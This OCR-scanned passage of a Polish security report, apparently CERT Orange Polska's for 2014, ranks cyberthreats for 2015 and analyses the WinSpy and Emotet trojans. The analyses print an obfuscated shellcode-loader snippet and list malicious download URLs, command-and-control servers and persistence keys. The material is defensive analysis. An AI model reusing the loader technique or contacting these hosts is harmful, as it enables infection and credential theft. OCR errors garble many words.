twierdza kontynuacje trendu zwigzanego z bardzo systematycznym i trudnym do
wyeliminowania zagrozeniem.

To efekt ciggtego wystepowania stabosci w najpopularniejszych systemach operacyj-
nych i aplikacjach oraz wcigz niskiego poziom swiadomosci uzytkownikéw, nieaktu-
alizujgcych systemow i stosunkowo fatwo ulegajgcych socjotechnice.

Infekcje Androida to w roznych statystykach minimum 90 procent wszystkich infekcji
na platformy mobilne. Trend ten systematycznie sie utrzymuie i nie widac¢ przestanek
zapowiadajgcych zmiane. Pozostaje mie¢ nadzieje, ze uzytkownicy zaczng bardziej
dba¢ o swoje telefony, przede wszystkim aktualizujgc posiadang wersje Androida.
By¢ moze rowniez poprawi sie wykrywalnos¢ zainfekowanych aplikacji dostepnych
w Google Play oraz skutecznos¢ powiadamiania o nich.

Ataki DDoS na podmioty komercyjne to nowa pozycja w naszym rankingu, dodana
na prosbe uczestnikéw badania. DDoS to jeden z najpowszechniejszych typéw ata-
ku w naszym kraju, wrecz chleb powszedni wielu organizacji komercyjnych (praw-
dopodobienstwo atakéw na podmioty administracji panstwowej zostato ocenione
nieco nizej, na 4,1). To ataki trudne do wyeliminowania — walka z nimi polega przede
wszystkim na skutecznej reakcji i mitygacii.

'8 Petna wersja raportu, wraz z listg osob biorgcych udziat w badaniu, znajduje sie pod adresem:
https://www.cybsecurity.org/wp-content/uploads/2015/01/Raport_FBC_Cyberzagrozenia_2015.pdf

4 Skala warto$ciowania w zakresie 1-5

O
c
@

N
o
o)
©
N
[
&

O
N
o}
o

Nie wszystkie powyzsze zagrozenia byty jednoczesnie wskazywane jako przynoszace najbardziej dokuczliwe i naj-

grozniejsze konsekwencije. W tej kategorii wartos¢ powyzej 4,0 osiggnety pozycije zwigzane z atakami na infrastruk-
ture krytyczng bgdz na dane wrazliwe:

cyberkonflikty miedzy panstwami powigzane z atakami dedykowanymi — 4,5,
ataki na systemy sterowania przemystowego (SCADA) — 4,33,

wycieki baz danych zawierajagcych dane osobowe — 4,13,

ataki ukierunkowane na organizacje (APT) — 4,18,

ataki na urzgdzenia medyczne — 4,05.

Najbardziej spektakularne wydarzenia 2014 roku — Dragonfly, BlackEnergy, Sandworm, APT28, atak na Sony — pobu-
dzity wyobraznie internautéw. Dodatkowo nasz kraj systematycznie zaczat sie pojawia¢ w informacjach dotyczgcych
najgrozniejszych atakéw, zas konflikt za wschodnig granicg, w ktérym jestesmy postrzegani jako sprzymierzeniec
Ukrainy, sprawit, ze rowniez podmioty polskie (komercyjne i zwigzane z administracjg panstwowg) mogg sie stac¢
celem w cyberwojnie.

Ocena zaréwno prawdopodobienstwa powszechnego wystgpienia zagrozen, jak i ewentualnych skutkow rzeczywiste-
go ich wystgpienia, pozwolita na stworzenie prostej analizy ryzyka zagrozen w 2015 roku. Zgodnie z metodyka analizy
ryzyka, najgrozniejsze sa zagrozenia, ktorych prawdopodobienstwo wystgpienia jest duze, a spowodowane przez nie
straty — powazne.

W Ataki na urzadzenia medyczne
& Wykorzystanie gier sieciowych w atakach

¢ Zagrozenla dia platformy iOS

® Zagrozenla zwigzane z ,Internet of Things”

@ Kradziez wirtualnych walut

B Ataki na system DNS

{) Zagrozenia dla platformy Windows Phone/Mobile”
W Ataki na platformy hostingowe

W Ataki na systemy sterowania przemystowego (SCADA)
) Zagrozenia typu ransomware/scareware
Y Haktywizm

X Zagrozenia zwigzane z BYOD

WV Ataki na cloud-computing

* Cyberkonflikty pomiedzy panstwami
powigzane z atakami dedykowanymi

X Powstawanie botnetéw opartych
na platformach mobilnych

7,'5{ Zagrozenia w serwisach spotecznosciowych
O Ataki drive-by download

[71 Ataki DDoS na administracje publiczng

* Akcje cyberszpiegowskie na tle politycznym
O APT — ataki ukierunkowane na organizacje

QO Wycieki baz danych zawierajgce dane osobowe,
hasta, numry kart kredytowych itd.

*Zagroienia dla platformy Android
</ Ataki DDoS na podmioty komercyjne

2,5 3,5

prawdopodobienstwo wystgpienia

® Phishing z wykorzystaniem poczty elektronicznej i www

Rysunek 5. Analiza ryzyka zagrozeri na 2015 rok wg Fundacji Bezpieczna Cyberprzestrzeri

Kluczowe wydajg sie zatem zagrozenia umieszczone na wykresie w prawym goérnym rogu, to jest:
wycieki baz danych zawierajacych dane osobowe, hasta, numery kart kredytowych, itd. (4,22; 4,13),
APT — ataki ukierunkowane na organizacje (4,17; 4,13),
akcje cyberszpiegowskie na tle politycznym (4,15; 3,95),
cyberkonflikty pomiedzy panstwami powigzane z atakami dedykowanymi (np: Stuxnet) (3,65; 4,5),
ataki DDoS na podmioty komercyjne (4,28; 3,58).
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Monitorowanie w trybie 24/7/365 ruchu sieciowego klienta
pod katem ataku DDoS, tj. anomalii mogacych skutkowac
wysyceniem tgcza i w efekcie utratg ciggtosci proceséw
biznesowych. W przypadku faktycznego ataku nastepuje
eliminacja podejrzanych pakietéw, do klienta trafia jedy-
nie prawidtowy ruch sieciowy. Ustuga pozwala réwniez na
ograniczanie skutkdw nowo wystepujgcych atakow DDoS
dzieki filtrowaniu ruchu klienta za pomoca ,black” i ,white”
list oraz korzystaniu z filtrow tworzonych w oparciu o bazy
GeolP.

Monitorowanie w trybie 24/7/365 przez SOC Orange Pol-
ska kluczowych wskazanych przez klienta systemoéw biz-
nesowych. Systemy monitorowanie sg pod kgtem zdarzen
noszacych znamiona incydentu bezpieczenstwa w zakre-
sie ustalonym w umowie z klientem. W ramach ustugi
zawarte sa:

instalacja rozwigzania Security Incident and Event

Monitoring (SIEM) w infrastrukturze klienta,

Przeprowadzenie kontrolowanego ataku na system telein-
formatyczny klienta w celu praktycznej oceny biezgcego
stanu bezpieczenstwa systemu, a w szczegdlnosci obec-
nosci znanych podatnosci i odpornosci na préby przetfa-
mania zabezpieczen. Analiza przeprowadzana z perspek-
tywy potencjalnego wtamywacza moze zawiera¢ aktywne
wykorzystywanie podatnosci (np. poprzez uzycie explo-
itow). W przeciwienstwie do ustug audytu bezpieczenstwa
testy penetracyjne nie muszg sie odbywac¢ wedtug sforma-
lizowanej metodologii, ktérej zZbudowanie bytoby trudne ze

12Zr6dto: www.cvedetails.com

Za ataki DDoS uwazane sg w szczegolnosci nastepujace
zagrozenia:
ataki na pasmo potrzebne do $wiadczenia ustugi,
np. zalanie datagramami ICMP/UDRP,
ataki na wyczerpanie zasobdéw systemu $wiadczace-
go ustuge, np. zalanie pakietami z flaga TCP SYN,
ataki na konkretng aplikacje wykorzystywang do
Swiadczenia ustugi, np. ataki z wykorzystaniem pro-
tokotu HTTP (duza ilos¢ sesji imitujgcych sesje prze-
gladarki uzytkownika), DNS lub protokotow aplikacji
VolP).

integracja zrodet logéw,

korelacja zdarzen,

monitorowanie zdarzen w systemach klienta,
notyfikacja o naruszeniach bezpieczenstwa w trybie
okreslonym w SLA,

dostep do portalu i procedur obstugi incydentow,
dostepnos$¢ analitykéw i ekspertéw w trybie okreslo-
nym w SLA,

raportowanie, administracja i utrzymanie systemu.

wzgledu na szybko zmieniajgcy sie stan wiedzy (np. nowe
exploity). Metodyka badania oparta jest na doswiadczeniu
Orange Polska. Nasi testerzy majg certyfikaty potwierdza-
jace ich kompetencje i etyke: CISSP (Certified Information
Systems Security Professional), CEH (Certified Ethical
Hacker). Testy penetracyjne wykonywane przez Orange
Polska dajg klientowi obiektywng i niezalezng ocene rze-
czywistego poziomu bezpieczenstwa jego systemow.
W ofercie znajdujg sie testy blackbox infrastruktury oraz
aplikacji internetowych.

W ramach ustugi zawarte sa:

efektywne usystematyzowanie wiedzy dotyczacej syste-
mu firewalli u klienta (audyt konfiguracji polityk ochrony),
optymalizacja konfiguracji (optymalizacja wydajnosci,
wykluczenia regut niedozwolonych, pokrywajgcych sie
oraz niezgodnych z wewnetrznymi politykami bezpie-
czenstwa, zaleceniami wynikajgcymi z norm, ktérym
podlega organizacja etc.),

efektywna kontrola ochrony poprzez monitorowanie
zmian biezacych i regularne, cykliczne audyty polityk.

Wieloprotokotowa analiza ruchu sieciowego w czasie rze-
czywistym, obejmujgca zachowanie podejrzanego kodu
oraz generowanych potgczen callback. Przychodzgce
ataki sg wykrywane dzieki wykorzystaniu réznych tech-
nik detekcji, powigzanych ze szczegdtowg analiza ataku.
Podejrzane przeptywy sieciowe sg odtwarzane w maszy-
nach wirtualnych przeprowadzajgcych zaawansowane
analizy zachowania malware w $rodowisku symulujgcym
realne stacje robocze. Proces opiera sie na analizie zacho-
wan kodu na zasadzie bezsygnaturowej, co pozwala obja¢
niesklasyfikowany wczesniej malware oraz kod wykorzy-

Elementem ustugi moze by¢ Zarzagdzanie Zmiang w zakre-
sie regut firewall. Na zyczenie klienta ustuga moze zostac
ograniczona wytacznie do audytu urzgdzen bezpieczen-
stwa sieciowego.

Po uruchomieniu ustugi na serwerze z dostepem do infra-
struktury klienta mozliwy jest audyt regut, a takze monito-
rowanie w czasie rzeczywistym zmian w politykach firewalli
z mozliwoscig natychmiastowej notyfikacji o zmianach,
dokfadna analiza i czyszczenie regut oraz raportowanie
0 niezgodnosciach. Rozwigzanie pozwala na analize urza-
dzen wszystkich liczacych sie na rynku producentow urza-
dzen firewall.

stujgcy zaawansowane mechanizmy ukrywania dziatalno-
&ci. Ze wzgledu na nature takich atakow nie ma znanych
wczedniej informaciji na ich temat, ktére mogtyby zostac
uzyte w procesach korelacji i okreslania reputacii.

Potgczenia wychodzgce sg analizowane pod kgtem nieau-
toryzowanych potgczen swiadczgcych o obecnosci w sie-
ci komputerow zainfekowanych przed wdrozeniem ustugi,
poza siecig lub z wykorzystaniem niesieciowych wektoréw
ataku (np. infekcja poprzez pendrive USB).
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Zatacznik 1
Zatgcznik 2
Zatgcznik 3
Zatgcznik 4
Zatgcznik 5
Zatacznik 6
Zatgcznik 7

Analiza malware WinSpy (na komputery stacjonarne)

Analiza malware Emotet (na komputery stacjonarne)

Analiza malware NotCompatible.C (na urzadzenia z systemem Android)

Analiza podatnosci Heartbleed
Analiza podatnosci Shellshock
Analiza podatnosci Poodle

Inne interesujgce podatnosci

11.1 Zatgcznik 1. Analiza malware WinSpy (na komputery stacjonarne)

Przedmiotem analizy byt zatgcznik wiadomosci spamo-
wej rozsytanej losowo do polskich internautéw. Jej ele-
mentem byto archiwum ZIP o nazwie ,W_dla_rachun-
ku_2014_09_01.pdf.zip”. Zawartoscig archiwum byt
wykonywalny plik .exe o nazwie ,dla rachunku 2014 09
01.pdf.exe”.

W momencie rozpoczecia analizy trojan wraz z programem
uruchamiajgcym byt wykrywany przez 15 z 35 sygnaturo-
wych silnikéw AV.

Ponizej znajduje sie lista modutdbw wykorzystywanych
przez trojana w trakcie infekowania systemu uzytkownika:

1209child_ dump 101638299£f8db1£722b8b0b860d96633 PE32/EXE 32-bit (GUI) 184KB 2014-09-06
14:46:53
1209dmp_dl1l.dll 4937b8fbcl099bl6efde5c9255fce7fb  PE32/DLL 32-bit (GUI) 136KB 2014-09-06
14:46:50
bot.exe 0cddlaffd044dfd076d8a28669136788 PE32/DLL 32-bit (GUI) 237.5KB 2014-09-12
08:10:32
dla rachunku 2014 09 35926348c1£5366£d06£6a70042e3458 PE32/EXE .NET (GUI) 238.5KB 2014-09-11
01l.pdf.exe 09:07:09

Rysunek 6. Lista modutdw wykorzystywanych przez trojana

Pierwsza czes¢ aplikacji, napisana w jezyku C# — tzw.
loader, jedynie przenoszgcy gtowng czes¢ trojana — po-
wstata na platformie .Net Framework. Podobng strukture
zespodt CERT Orange Polska zaobserwowat podczas ana-
lizy niektérych mutacji bankera Tinba. Opisywany przypa-
dek réznit jeden szczegdt w funkcjonalnosci — malware byt
kopiowany wraz z loaderem, natomiast Tinba kopiowat
wirusa do katalogu instalacyjnego bez wykorzystania $ro-
dowiska .Net. ,Opakowanie” plikdbw za pomoca jezykdw
prekompilowanych/interpretowanych (C#, Java, VB) ma na
celu utrudnienie analizy, a takze ograniczenie mozliwosci
wykrycia przez programy antywirusowe.

Dzieki opisanej powyzej specyfice loader malware’u jest
tatwo dekompilowalny.

Analiza dynamiczna tego typu ztosliwego oprogramowania
stanowi jedynie wsparcie na pewnych etapach niskopo-
ziomowej analizy wirusa. Najwiecej informacji mozna uzy-
ska¢ w wyniku statycznej analizy kodu Zrodtowego. Wirus,
zeby dziata¢ potrzebuje specyficznego srodowiska. Uzyte
w tym przypadku .NET Framework domysinie instalowane
jest dopiero w systemie Windows Vista, wiec przyktadowo
w standardowej konfiguracji systemu Windows XP bez za-
instalowanej platformy .NET wirus nie dziata.

Kod loadera jest zaciemniony, nazwy wszystkich zmien-
nych, metod i klas majg posta¢ losowg, co utrudnia jego
odczyt bez zastosowania dedykowanych rozwigzan i na-
rzedzi.

Dane statyczne zawarte w pliku ,dla rachunku 2014 09
01.pdf.exe” dowodza, ze jest to aplikacja stworzona w Mi-
crosoft Visual Studio .NET. W polu timestamp znajduje sie
informacja o ostatniej kompilacji kodu z 11 wrzesnia 2014
roku z godziny 09:07:09 GMT. W zasobach aplikacji wyste-
puje takze informacja o wersiji.

Manifest pliku PE32 informuje system, ze aplikacja nie
prébuje w sposdb widoczny dla uzytkownika podnosi¢
uprawnien w systemie z wigczonym mechanizmem UAC'S,
Podczas dalszej analizy zaobserwowano réwniez, ze nie
prébuje ona nawet obchodzi¢ go w sposdb nigjawny.
Moze to by¢ kolejny czynnik ograniczajgcy dziatanie: jezeli
uzytkownik sam nie uruchomi jej z podniesionymi upraw-
nieniami, wirus moze nie uzyska¢ wystarczajgcych upraw-
nien dostepu do systemu plikow, rejestru systemowego
i procesow.
>> Rysunek 7.

Rysunek 7.
Manifest pliku malware

5 Technologia podwyzszonej ochrony wprowadzona w Windows Vista/Windows 7, w zatozeniu ograniczajaca dostep aplikacji momentu autoryzaciji przez administratora



Rysunki 8-9.
Malware bierze sie do pracy

Rysunki 10-11.
Zlosliwe oprogramowanie

uruchamia swdj proces

Rysunek 12.
Klucze trojana zapisane
W rejestrze systemowym

Rysunek 13.
Plik *.bat tworzony przez trojana

Plik wynikowy ma rozmiar 238.50 KB (244224 bytes). Kod
samego loadera skfada sie z dwdch klas oraz zasobdw .NET.

System.Reflection;
System.Runtime.CompilerServices;
System.Runtime.InteropServices;
System.Security;
System.Security.Permissions

Metoda Main () wyglada nastepujaco

[STAThread]
private static void Main()

{

Korzysta on z nastepujgcych przestrzeni nazw bedacych
czescig srodowiska .NET Framework.

IntPtr num = Marshal.AllocHGlobal (MAjlWgp.nmsyypaiA.Length) ;

Marshal.Copy (MAjlWgp.nmsyypaiZA, 0, num, MAjlWgp.nmsyypaiA.Length);

RamdomWordl1211.rzTjsCDLn (num, (uint) MAjlWgp.nmsyypaiA.Length);

( (MA]j1lWgp.XKgNhVAeTgE) Marshal.GetDelegateForFunctionPointer (num, typeof

(MAj1Wgp . XKgNhVAeTgE) ) ) () ;
}

Na poczatku alokowana jest pamie¢ dynamiczna o wiel-
kosci MAjIWgp.nmsyypaiA.Length (9380 bajty); MajlWgp.
nmsyypaiA — sktadowa typu byte: klasy MAjWgp. Jest to
standardowy 32-bitowy shellcode na platformy Intel oraz
AMD.

Rysunek 8-9.

Shellcode jest kopiowany z danych programu do dynamicz-
nie zaalokowanego obszaru pamieci (Marshal.Copy(MAjl-
Wgp.nmsyypaiA, 0, num, MAjWgp.nmsyypaiA.Length);).
Nastepstwem tego jest wywotanie RandomWord1211.
rzTisCDLn(num, (uint) MAjIWgp.nmsyypaiA.Length), ktére
de facto jest wywotaniem ZwProtectVirtualMemory, maja-
cym na celu zmiane praw dostepu do pamieci. W ostat-
niej linijce metody Main() sterowanie przekazywane jest do
shellcodu.

Gdy sterowanie trafi bezposrednio do shellcodu, urucha-
miany jest wtasny proces jako proces potomny z flagg
CREATE_SUSPEND. Nastepnie malware zastepuje w jego
pamieci wszystkie sekcje wtasnym nagtowkiem, kodem
i danymi, po czym dotfgcza obraz biblioteki dll, ktéra bedzie
wykorzystywana w dalszych etapach. Zostaje rowniez
zmieniony kontekst wykonywania kodu oraz przywrdcone
wykonanie gtéwnego watku procesu potomnego.

Rysunek 10-11.

Proces potomny kopiuje plik trojana do katalogu syste-
mowego C:\WINDOWS\system32, nadajgc mu losowa
nazwe. Dodaje rowniez klucze do rejestru systemowego,
ktére pozwalajg mu miedzy innymi na automatyczne uru-
chomienie sig po starcie systemu operacyjnego.

Rysunek 12.

Nazwy, miejsca docelowe na dysku oraz w rejestrze
moga sie rézni¢ w zaleznosci od wersji procesora (32- lub
64-bitowego), a takze systemu operacyjnego.
Trojan wstrzykuje swoj kod oraz dane do procesu Explo-
rer.exe oraz tworzy plik *.bat o zawartosci pokazanej na
poprzednigj stronie:

Rysunek 13.

Dziatanie skryptu ma na celu usuniecie oryginalnego pli-
ku trojana i samego siebie. Po usunieciu plikow proces
potomny konczy swoje dziatanie.

Kod, ktéry dziata w przestrzeni procesu Explorer.exe,
deszyfruje swoje dane w pamigci za pomocg prostego
algorytmu bazujgcego na réznicy symetrycznej z kluczem
0x1251a373.

Po odszyfrowaniu danych pobiera adresy potrzebnych mu
procedur, po czym przechodzi do wykonania swoich funkcii.



Rysunek 14.
Malware nie zdofat utworzy¢
mutexu

Rysunki 15-17.
Malware w akcji

Rysunek 18.
Pliki w folderze zaktadanym

przez malware

Malware prébuje utworzy¢ mutex o nazwie {ED290161-
6882-A702-DA71-1ccBAE35102f}.

W przypadku, gdy préba ta sie nie powiedzie, aplikacja
przez wywotanie zmodyfikowanej funkcji ExitThread zaczyna
wykonywac pusta, niekoriczaca sie petle. W efekcie przesta-
je wykonywac¢ swoje ztodliwe funkcje, poniewaz urzgdzenie
docelowe nie spetnia zaktadanych warunkéw do infekcii.

Rysunek 14.

Jesli utworzenie mutexu sie powiedzie, trojan zaczyna reje-
strowac¢ aktywnos¢ klawiatury powigzang z konkretng apli-
kacjg. Zapisuje takze do plikobw tymczasowych informacje
uwierzytelniajgce na stronach www, np. cookie, identy-
fikatory oraz adresy stron. Nastepnie archiwizuje dane
w plikach *.cab, nadaje im rozszerzenie *.tmp, po czym
uruchamia watek odpowiedzialny za tgcznos¢ z kanatem
Command&Control.
Rysunek 15-17.

Watek wysyta zgdania HTTP do modutu uploadu plikéw
po stronie serwera Command&Control, zawierajgce szereg
parametrow identyfikujgcych zainfekowang maszyne oraz
wspomniane pliki archiwow.

Opisywana wczesniej biblioteka dll jest uruchamiana
W pamieci procesu macierzystego, w zwigzku z czym
nie jest pokazywana na liscie modutéw zatadowanych do
pamigci procesu. Zawiera szereg procedur rozszerzajgcych
funkcjonalnosci malware’u i jest tadowana do wszystkich
nowo powstatych proceséw. Wykonanie kodu biblioteki dll

zaczyna sie od odszyfrowania danych. Wykorzystywana
jest procedura bazujgca na instrukcji XOR identyczna jak
ta, ktéra odszyfrowuje dane w jednym z watkdw trojana
w przestrzeni procesu Explorer.exe.

Po odszyfrowaniu danych trojan sprawdza, czy w systemie
jest obecny folder w lokalizacji

Nalezy jednak pamigtac, ze w nazwy katalogdéw oraz klu-
czy W rejestrze za kazdym razem sg inne. Jezeli szukany
folder istnieje, aplikacja tworzy archiwum ze znajdujgcych
sie w nim plikéw, a nastepnie przesyta je do zdalnego ser-
wera Command&Control. Jezeli folder nie istnieje, zostaje
utworzony i przechowywane sg w nim pliki zawierajgce
informacje znalezione w systemie operacyjnym uzytkow-
nika.
Rysunek 18.

Modut tworzy réwniez klucz rejestru

oraz modyfikuje procedury systemowe CreateProcessA
i CreateProcessW w przestrzeni procesu, w ktérym dzia-
ta. W przypadku procesu Explorer.exe daje to mozliwosé
kontrolowania i modyfikowania wszystkich aplikacji uru-
chamianych przez uzytkownika.



Rysunek 19.
Funkcjonalnosci opisywanego
malware

Rysunek 20.
Dane gromadzone przez malware

Rysunek 21.
Proba wysytki wykradzionych
danych

Kolejng z funkcjonalno$ci omawianej biblioteki jest usuwanie
z cache przegladarki adresow serweréw Command&Con-
trol oraz uruchamianie i komunikacja z innymi aplikacjami
za pomocag potokow nazwanych. Modut wyszukuje réwniez
w rejestrze systemowym i plikach konfiguracyjnych dane
autoryzacyjne do serweréw pocztowych, poza tym zawiera
w sobie procedury odpowiedzialne za kradziez kontaktow
od klientow pocztowych w systemie Windows oraz wykra-
da dane z aplikacji Lotus WordPro. Malware gromadzi takze
dane o systemie operacyjnym uzytkownika.
Rysunek 19-20.

Wszystkie zgromadzone przez Trojana dane sg cyklicznie
pakowane do archiwéw *.cab, a nastepnie przesytane na
serwer zdalny.

Rysunek 21.

46.30.42.166 — serwer z ktdrego pobierane sg aktualizacje
oraz pliki binarne http://46.30.42.166/1/bot.exe.
donkixot17.net — serwer Command&Control, do ktérego
przesytane sg wykradzione dane.

donkixot17.ru — alternatywna domena Command&Control.
95.183.8.24 — serwer alternatywny, z ktérego pobierane
sg pliki binarne.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
<losowa_nazwa>=C:\WINDOWS\system32\<losowa_
nazwa>.exe
HKCU\E15E01AE-8A43-A415-7224-33FBEF98178A
(gdzie E15E01AE-8A43-A415-7224-33F6EF98178A

to wartos¢ losowa)

Install=<wartos$¢ binarna>
HKCU\Software\AppDataLow\E15E01AE-8A43-A-
415-7224-33F6EF98178A
HKCU\Software\AppDataLow\E15EQ01AE-8A43-A-
415-7224-33F6EF98178A\Files

<losowe_nazwy> = <wartosci binarne>

dla rachunku 2014 09 0O1.pdf.exe — Loader stworzony
w .NET C#.

1209child_dump — proces potomny.

bot.exe — aktualizacja pobierana z serwera zdalnego.
1209dmp_dll.dll - biblioteka wspétdzielona wykorzystywa-
na przez zainfekowany proces Explorer.exe

Jedng z funkcji opisywanego malware’u jest rejestrowanie
generowanych przez uzytkownika nacisnie¢ klawiszy. Gro-
madzi on takze informacje o systemie operacyjnym, ktéry
zainfekowat, wykrada dane uwierzytelniajgce do serwerdéw
pocztowych, stron www, ksigzki adresowe od klientow
pocztowych dziatajgcych na systemach Windows, a takze
informacije zwiazane z aplikacja Lotus WordPro. Nastep-
nie przesyta wszystko do serwera kontrolowanego przez
cyberprzestepcow. Trojan infekuje takze wszystkie nowo
powstate procesy w systemie uzytkownika, porozumie-
wa sie z innymi uruchomionymi przez siebie aplikacjami
za pomocg potokdéw nazwanych, modyfikuje procedury
bibliotek systemowych oraz pobiera i uruchamia inne pliki
wykonywalne.



Rysunek 22.
Podejrzana wiadomos¢ e-mail

Rysunek 23.
»~Rachunek” okazuje sie plikiem exe

Rysunki 24, 25.
Malware zaczyna dziata¢

Rysunki 26-27.
Dalszy cigg inicjalizacji

Rysunek 28.
Skrypt ,sprzatajgcy” widoczne
pozostatosci trojana

Rysunki 29-30.

Od tego momentu wszystkie
uruchamiane aplikacje bedg
infekowane

Trojan bankowy Emotet zostat zauwazony w drugiej poto-
wie 2014 roku i od tego czasu zdaje sie by¢ cyklicznie
wykorzystywany w kampanii phishingowej, ktorej celem
jest zainfekowanie komputeréw uzytkownikéw tego typu
ztosliwym oprogramowaniem, a w konsekwencji kradziez
wrazliwych danych oraz srodkéw z kont bankowych.

Probka, ktéra dotarta do CERT Orange Polska 7 listopada,
rézni sie od opisywanych juz w sieci wariantéw tego troja-
na tym, ze zostat w niej zaimplementowany algorytm DGA.
Nie zmienita sie natomiast forma propagaciji — w tym przy-
padku rowniez byt to e-mail w jezyku niemieckim wystany
z sieci typu botnet i podszywajgcy sie pod T-online. Cele
trojana badanego przez CERT Orange Polska wydajg sie
niezmienione — nadal sg to klienci niemieckiej bankowosci
internetowe;.

Na skrzynke pocztowg uzytkownika, z reguty w okresie

rozliczen (koniec/poczatek miesigca), trafia e-mail rzekomo

pochodzacy od ktdregos z operatoréw telekomunikacyj-

nych, naktaniajacy uzytkownikéw do klikniecia w link w celu

pobrania archiwum ,,.zip”, pod pretekstem pobrania danych

zwigzanych z rachunkiem telefonicznym za biezgcy miesigc.
Rysunek 22.

Link prowadzi do adresu http://nitobreapadel.com.ar/

EQMqdL9nvk, pod ktérym znajduje sie archiwum zip,

w ktorym z kolei znajduje sie plik wykonywalny z rozszerze-

niem .pdf.exe oraz zmieniong ikong imitujgcg dokument pdf.
Rysunek 23.

Po kliknieciu w fatszywy dokument pdf system operacyjny
uzytkownika zostaje zainfekowany.

Analizowang probke mozna podzieli¢ na dwie zasadnicze
czesci oraz moduty dodatkowe. Loader to czes¢ odpo-
wiedzialna za kopiowanie pliku do folderu docelowego
oraz zatadowanie gtéwnego modutu do przestrzeni innego
procesu. Modut gléwny odpowiedzialny jest za infekowa-
nie innych procesdw, komunikacje sieciowa, pobieranie
i wysytanie danych oraz modutéw dodatkowych.

Kod oraz dane trojana sg dwukrotnie zaszyfrowane. Korzy-
sta on takze z kryptografii z kluczem publicznym oraz wyko-
rzystuje wywotania API z btednymi parametrami (ma to na
celu m.in. oszukanie emulatoréw). Ten ostatni mechanizm
byt wykorzystywany takze w trojanie carberp, w tym

przypadku jednak parametry przekazywane do funkcii
wydajg sie nieco bardziej przemyslane i w pierwszej chwi-
li mogg zmusza¢ do zastanowienia, czego efektem jest
wydtuzenie czasu niezbednego do efektywnej analizy.

Po uruchomieniu Emotet alokuje pamie¢ dynamiczng wiel-
kosci rozmiaru sekcji .data pomniejszonego o 4 baijty.
Nastepnie kopiuje do niej odszyfrowany kod i przekazuje
sterowanie.

Rysunek 24-25.

Na tym etapie loader inicjalizuje swoje srodowisko, pobiera
adresy potrzebnych mu bibliotek i funkciji, po czym zmienia
uprawnienia dostepu do pamieci, tworzy nowy nagtowek
oraz sekcje pliku wykonywalnego, do ktérych kopiowane
sg odszyfrowane dane oraz kod trojana. W tym momencie
sterowanie przekazywane jest do prawdziwej funkciji gtow-
nej loadera.
Rysunek 26-27.

Emotet w funkcji gtdwnej loadera tworzy wpis w Klu-
czu rejestru pozwalajgcym na jego autouruchomienie po
restarcie systemu oraz sprawdza, czy istnieje jego kopia
w lokalizacji docelowej. Jezeli plik nie istnieje w okreslonym
katalogu, zostaje tam skopiowany.

Nastgpnie trojan nadaje sobie uprawnienie SeDebugPri-
vilege, pozwalajgce na dostep do pamieci innych proce-
sOw w systemie uzytkownika oraz tworzy watek zdalny
infekujgcy proces Explorer.exe. W koncowe;j fazie dziatania
loadera tworzony i uruchamiany jest skrypt wsadowy usu-
wajgcy plik trojana z lokalizacji, z ktérej zostat uruchomiony.

Rysunek 28.

W zainfekowanym procesie Explorer trojan modyfikuje pro-

cedure systemowg ZwResumeThread. Modyfikacja ta jest

wykorzystywana do infekowania wszystkich nowo urucha-

mianych aplikacji w systemie operacyjnym uzytkownika.
Rysunek 29-30.

Emotet infekuje rowniez wszystkie aktualnie uruchomione
procesy w systemie operacyjnym, do ktérych ma upraw-
nienia. Tworzy tez klucze rejestru, w ktérych przechowy-
wane beda dane pobrane z serweréw ,C and C” oraz
informacje skradzione z systemu uzytkownika. Nastepnie
trojan pobiera informacje o systemie operacyjnym oraz
tworzy klucze szyfrowania na podstawie wtasnego klu-
cza publicznego. Trojan sprawdza dostepnos$¢ potgczenia
internetowego do momentu, w ktérym otrzyma odpowiedz
na zgdanie HTTP skierowane do witryny www.microsoft.com.



Rysunki 31-32.

Trojan Emotet wykorzystuje
algorytm generowania domen
(DGA)

Rysunek 33.
Charakterystyczny ,betkot”
w nazwach domen
wygenerowanych

przy uzyciu DGA

Rysunek 34.
Analizowana wersja trojana byfa
zbudowana pod kgtem rynku

niemieckiego

Rysunek 35.
Emotet potrafi w niezauwazalny

Sposob przechwytywac ruch SSL

W przypadku, gdy potgczenie jest dostepne, Emotet two-

rzy 16 watkdw odpowiedzialnych za generowanie nazw

domenowych. Algorytm DGA wykorzystywany przez troja-

na bazuje na wartosciach uzyskanych w wyniku wywotan

SystemTimeToFileTime i RtITimeToSecondsSince1970.
Rysunek 31-32.

Poprawnos¢ domeny weryfikowana jest przez wywotanie
procedury DnsQuery_A.

W momencie prowadzenia analizy niektére z tych domen
byly sinkholowane. Implementacja tego typu algorytméw
przyczynia sie z reguty do podniesienia zywotnosci sieci
botnet stworzonej na bazie danego typu ztosliwego opro-
gramowania. Znacznie trudniej blokowac na poziomie sie-
ciowym ruch generowany w ten sposob oraz namierzy¢
serwer C&C zwtaszcza w przypadku, gdy domeny genero-
wane przez DGA petnig wytgcznie role proxy.

Rysunek 33.

W przypadku wygenerowania poprawnej nazwy domeno-
wej aktywnego serwera Command&Control trojan zaczy-
na szyfrowa¢ dane, uzywajgc algorytmu RC4, nastepnie
dodaje do nich podpis cyfrowy i przesyta za pomocg zgda-
nia HTTP do serwera zdalnego.

Po otrzymaniu odpowiedzi Emotet weryfikuje poprawnosé
jej podpisu cyfrowego (pierwsze 128 bajtow odpowiedzi).
Jedli sygnatura jest poprawna, trojan odszyfrowuje dane
otrzymane z serwera. W danych tych poza sygnaturg znaj-
duje sie modut .dll oraz dane konfiguracyjne wykorzysty-
wane przez ten modut, ktére zawierajg liste instytuciji finan-
sowych bedacych celem cyberprzestepcow.

Rysunek 34.

Dane te sg nastepnie kodowane za pomocg instrukcji XOR
i zapisywane w rejestrze systemu operacyjnego. Modut
dll odebrany z serwera C&C tadowany jest do wszystkich
procesdw, do ktorych Emotet ma uprawnienia. W anali-
zowanym przez nas wariancie zajmuje sie rowniez prze-

chwytywaniem komunikacji sieciowej kierowanej do insty-
tucji finansowych, ktérych lista zostata pobrana z serwera
C&C i zapisana w rejestrze. Ponadto omawiana biblioteka
modyfikuje niektdre funkcje przeglgdarek internetowych
takich jak Google Chrome, Firefox czy internet Explorer, co
umozliwia jej przechwytywanie w sposob niezauwazalny
dla uzytkownika zaszyfrowanego ruchu sieciowego (np. za
pomocg protokotu SSL).

Rysunek 35.

Przechwycone w ten sposéb dane sg kodowane, zapisy-
wane w rejestrze systemowym oraz cyklicznie wysytane na
serwer kontrolowany przez cyberprzestepcow.

Rysunek 36.

Emotet to stosunkowo nowe zagrozenie, ktére zmienia nie-
